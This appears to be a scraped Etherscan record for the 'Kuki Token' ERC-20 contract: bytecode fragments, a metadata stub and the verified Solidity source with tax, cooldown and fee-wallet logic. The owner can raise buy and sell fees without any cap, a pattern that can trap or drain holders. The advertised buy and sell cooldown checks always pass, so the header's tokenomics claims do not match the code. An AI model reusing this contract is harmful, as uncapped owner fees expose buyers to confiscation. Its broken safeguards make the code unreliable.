7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e01097f05c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a01097f01ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d1601097f04de47e973af27fde9ad29f812de8a04855110118eb73fcdb46865390486a28701097f050be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e001097f02aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a432201097f026701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa29100191508083828584878689888b8a8d8c8f8f097f01773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef498401097e4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e301097f0580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f601097f03e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba7801097f0596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc01097f07e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f01097f05626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b019150808382858487868989097f068371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd001097f04d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef01097f0421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa01097f0679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a2260191508082816125ce57fe5b06939250505056fea2646970667358221220c4187808a4c32e9ed0815a59fac5ef8f57e7869237209835f5494428e9a5037e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,259
0x0ee2f70fb525596d8bdf5337c7aa9f8e4bba366d
/** *Submitted for verification at Etherscan.io on 2022-03-15 */ /** https://t.me/KukiToken https://KukiInu.info * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 10,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 8% tax on buys and sells * 15% fee on sells within first (1) hour post-launch * Max wallet of 3% of total supply for first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KukiToken is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Kuki Token"; //// string public constant symbol = unicode"KUKI"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 8; uint public _sellFee = 8; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 7; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 10000000001 * 10**9; // 1% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610697578063dcb0e0ad146106c2578063dd62ed3e146106eb578063e8078d9414610728576101ee565b8063a9059cbb14610601578063b2131f7d1461063e578063c3c8cd8014610669578063c9567bf914610680576101ee565b8063715018a6116100d1578063715018a6146105695780638da5cb5b1461058057806394b8d8f2146105ab57806395d89b41146105d6576101ee565b806350901617146104c1578063590f897e146104ea5780636fc3eaec1461051557806370a082311461052c576101ee565b806327f3a72a1161017a5780633bed4355116101495780633bed43551461041757806340b9a54b1461044257806345596e2e1461046d57806349bd5a5e14610496576101ee565b806327f3a72a1461036b578063313ce5671461039657806332d873d8146103c1578063367c5544146103ec576101ee565b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102d85780631940d0201461030357806323b872dd1461032e576101ee565b80630492f055146101f357806306fdde031461021e5780630802d2f614610249578063095ea7b314610272576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861073f565b6040516102159190612937565b60405180910390f35b34801561022a57600080fd5b50610233610745565b60405161024091906129eb565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a70565b61077e565b005b34801561027e57600080fd5b5061029960048036038101906102949190612ac9565b61087c565b6040516102a69190612b24565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190612b3f565b61089a565b005b3480156102e457600080fd5b506102ed61097e565b6040516102fa9190612937565b60405180910390f35b34801561030f57600080fd5b5061031861098f565b6040516103259190612937565b60405180910390f35b34801561033a57600080fd5b5061035560048036038101906103509190612b7f565b610995565b6040516103629190612b24565b60405180910390f35b34801561037757600080fd5b50610380610b86565b60405161038d9190612937565b60405180910390f35b3480156103a257600080fd5b506103ab610b96565b6040516103b89190612bee565b60405180910390f35b3480156103cd57600080fd5b506103d6610b9b565b6040516103e39190612937565b60405180910390f35b3480156103f857600080fd5b50610401610ba1565b60405161040e9190612c2a565b60405180910390f35b34801561042357600080fd5b5061042c610bc7565b6040516104399190612c2a565b60405180910390f35b34801561044e57600080fd5b50610457610bed565b6040516104649190612937565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612c45565b610bf3565b005b3480156104a257600080fd5b506104ab610cda565b6040516104b89190612c81565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190612a70565b610d00565b005b3480156104f657600080fd5b506104ff610dfe565b60405161050c9190612937565b60405180910390f35b34801561052157600080fd5b5061052a610e04565b005b34801561053857600080fd5b50610553600480360381019061054e9190612a70565b610e76565b6040516105609190612937565b60405180910390f35b34801561057557600080fd5b5061057e610ebf565b005b34801561058c57600080fd5b50610595611012565b6040516105a29190612c81565b60405180910390f35b3480156105b757600080fd5b506105c061103b565b6040516105cd9190612b24565b60405180910390f35b3480156105e257600080fd5b506105eb61104e565b6040516105f891906129eb565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612ac9565b611087565b6040516106359190612b24565b60405180910390f35b34801561064a57600080fd5b506106536110a5565b6040516106609190612937565b60405180910390f35b34801561067557600080fd5b5061067e6110ab565b005b34801561068c57600080fd5b50610695611125565b005b3480156106a357600080fd5b506106ac61124d565b6040516106b99190612937565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612cc8565b61127f565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612cf5565b611343565b60405161071f9190612937565b60405180910390f35b34801561073457600080fd5b5061073d6113ca565b005b600d5481565b6040518060400160405280600a81526020017f4b756b6920546f6b656e0000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107bf61187b565b73ffffffffffffffffffffffffffffffffffffffff16146107df57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108719190612d94565b60405180910390a150565b600061089061088961187b565b8484611883565b6001905092915050565b6108a261187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690612dfb565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b54604051610972929190612e1b565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff1680156109fd5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a565750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610aca573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac090612e90565b60405180910390fd5b5b610ad5848484611a4e565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2161187b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b669190612edf565b9050610b7a85610b7461187b565b83611883565b60019150509392505050565b6000610b9130610e76565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3461187b565b73ffffffffffffffffffffffffffffffffffffffff1614610c5457600080fd5b60008111610c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8e90612f5f565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610ccf9190612937565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d4161187b565b73ffffffffffffffffffffffffffffffffffffffff1614610d6157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610df39190612d94565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4561187b565b73ffffffffffffffffffffffffffffffffffffffff1614610e6557600080fd5b6000479050610e73816122cf565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ec761187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b90612dfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600481526020017f4b554b490000000000000000000000000000000000000000000000000000000081525081565b600061109b61109461187b565b8484611a4e565b6001905092915050565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec61187b565b73ffffffffffffffffffffffffffffffffffffffff161461110c57600080fd5b600061111730610e76565b9050611122816123bc565b50565b61112d61187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612dfb565b60405180910390fd5b601060009054906101000a900460ff161561120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612fcb565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550678ac72304c582ca00600d819055506801a055690d9db80000600e81905550565b600061127a600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c061187b565b73ffffffffffffffffffffffffffffffffffffffff16146112e057600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516113389190612b24565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113d261187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145690612dfb565b60405180910390fd5b601060009054906101000a900460ff16156114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612fcb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061153f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611883565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ae9190613000565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611615573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116399190613000565b6040518363ffffffff1660e01b815260040161165692919061302d565b6020604051808303816000875af1158015611675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116999190613000565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061172230610e76565b60008061172d611012565b426040518863ffffffff1660e01b815260040161174f96959493929190613091565b60606040518083038185885af115801561176d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117929190613107565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161183492919061315a565b6020604051808303816000875af1158015611853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118779190613198565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea90613237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a906132c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a419190612937565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab59061335b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b25906133ed565b60405180910390fd5b60008111611b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b689061347f565b60405180910390fd5b6000611b7b611012565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611be95750611bb9611012565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561220a57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c995750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cef5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561200a57601060009054906101000a900460ff16611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a906134eb565b60405180910390fd5b600f54421415611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90613557565b60405180910390fd5b42610e10600f54611d999190613577565b1115611df857600e54611dab84610e76565b83611db69190613577565b1115611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee9061363f565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611ed25760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078600f54611ee29190613577565b1115611fbe57600d54821115611f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f24906136ab565b60405180910390fd5b601e42611f3a9190613577565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb49061373d565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156120335750601060009054906101000a900460ff165b801561208d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561220957600f4261209f9190613577565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612119906137cf565b60405180910390fd5b600061212d30610e76565b905060008111156121ea57601060029054906101000a900460ff16156121e0576064600c5461217d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b61218791906137ef565b6121919190613878565b8111156121df576064600c546121c8600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b6121d291906137ef565b6121dc9190613878565b90505b5b6121e9816123bc565b5b6000479050600081111561220257612201476122cf565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122b15750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122bb57600090505b6122c88585858486612635565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836123189190613878565b9081150290604051600060405180830381858888f19350505050158015612343573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60028361238d9190613878565b9081150290604051600060405180830381858888f193505050501580156123b8573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f4576123f36138a9565b5b6040519080825280602002602001820160405280156124225781602001602082028036833780820191505090505b509050308160008151811061243a576124396138d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125059190613000565b81600181518110612519576125186138d8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061258030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611883565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125e49594939291906139c5565b600060405180830381600087803b1580156125fe57600080fd5b505af1158015612612573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b60006126418383612657565b905061264f868686846126ac565b505050505050565b6000806000905083156126a257821561267457600a5490506126a1565b600b549050610e10600f546126899190613577565b4210156126a05760078161269d9190613577565b90505b5b5b8091505092915050565b6000806126b9848461284f565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127089190612edf565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127969190613577565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e28161288d565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161283f9190612937565b60405180910390a3505050505050565b60008060006064848661286291906137ef565b61286c9190613878565b90506000818661287c9190612edf565b905080829350935050509250929050565b80600260003073